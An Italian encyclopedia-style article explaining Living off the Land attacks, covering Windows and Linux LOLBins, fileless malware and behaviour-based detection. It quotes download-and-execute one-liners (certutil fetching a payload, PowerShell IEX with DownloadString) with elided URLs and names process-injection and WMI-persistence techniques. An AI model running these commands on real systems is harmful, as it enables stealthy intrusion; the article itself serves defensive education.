Living off the Land (LotL)

Indice dei contenuti

    Living off the Land (LotL, «vivere del territorio») è una strategia offensiva in cui l’attaccante non introduce malware o strumenti propri nel sistema compromesso, ma sfrutta esclusivamente binari, script e funzionalità già presenti nel sistema operativo. L’obiettivo è la evasione del rilevamento: poiché gli strumenti usati sono legittimi e firmati dal vendor del sistema operativo, i tradizionali antivirus e i filtri basati su firma non li identificano come malevoli. Un amministratore di sistema che usa PowerShell per fare ricognizione è indistinguibile, a livello di artefatti, da un attaccante che fa lo stesso.

    LOLBins: Living Off the Land Binaries

    I LOLBins (Living Off the Land Binaries) sono i binari di sistema più abusati dagli attaccanti. Il progetto LOLBAS (Living Off the Land Binaries, Scripts and Libraries, lolbas-project.github.io) cataloga sistematicamente ogni binario Windows con possibili usi offensivi documentati.

    Esempi su Windows:

    • certutil.exe: strumento per la gestione dei certificati. Abusato per scaricare file da URL remoti (certutil -urlcache -split -f http://... payload.exe) e per codificare/decodificare file in Base64.
    • mshta.exe: esegue file HTA (HTML Application). Usato per eseguire script VBScript/JScript remoti aggirando le restrizioni di esecuzione di PowerShell.
    • regsvr32.exe: registra DLL COM. Permette di eseguire codice remoto tramite file .sct (scriptlet) — tecnica nota come «Squiblydoo».
    • wmic.exe: interfaccia WMI da riga di comando. Usato per esecuzione remota, ricognizione di processo, persistenza tramite sottoscrizioni WMI.
    • rundll32.exe: esegue funzioni esportate da DLL. Usato per eseguire payload DLL senza creare processi con nome sospetto.
    • msiexec.exe: installa pacchetti MSI. Permette di scaricare ed eseguire MSI remoti.

    Su Linux i LOLBins equivalenti includono curl, wget, python, perl, bash, nc (netcat) — presenti in praticamente ogni sistema.

    Fileless malware

    L’evoluzione naturale di LotL è il fileless malware: codice malevolo che non scrive mai su disco ma vive esclusivamente in memoria, spesso iniettato in processi legittimi. Tecniche comuni:

    • PowerShell in-memory execution: scaricare ed eseguire uno script PowerShell interamente in memoria con IEX (New-Object Net.WebClient).DownloadString('...'). Il payload non tocca mai il filesystem.
    • Process injection: iniettare shellcode nel memory space di un processo legittimo (es. svchost.exe) tramite API Windows come VirtualAllocEx, WriteProcessMemory, CreateRemoteThread.
    • WMI persistence: usare le sottoscrizioni di eventi WMI per eseguire codice a ogni avvio del sistema — la persistenza è nel repository WMI, non in un file eseguibile sul disco.

    Rilevamento

    Poiché la firma del binario è legittima, il rilevamento deve basarsi sul comportamento:

    • Command line logging (Sysmon Event ID 1, Windows Security 4688): registrare ogni processo con la sua riga di comando completa. Un certutil.exe che contatta un IP esterno è immediatamente anomalo.
    • PowerShell Script Block Logging: registrare il contenuto deobfuscato di ogni script PowerShell eseguito, indipendentemente dall’obfuscation applicata.
    • AMSI (Antimalware Scan Interface): interfaccia Windows che permette agli AV/EDR di scansionare il contenuto degli script prima dell’esecuzione, anche se deobfuscati a runtime.
    • Behavioral EDR: correlazione di sequenze di azioni (processo legittimo che apre connessione di rete + legge file di credenziali + crea processo figlio) per rilevare catene comportamentali sospette indipendentemente dagli strumenti usati.

    Ultimo aggiornamento: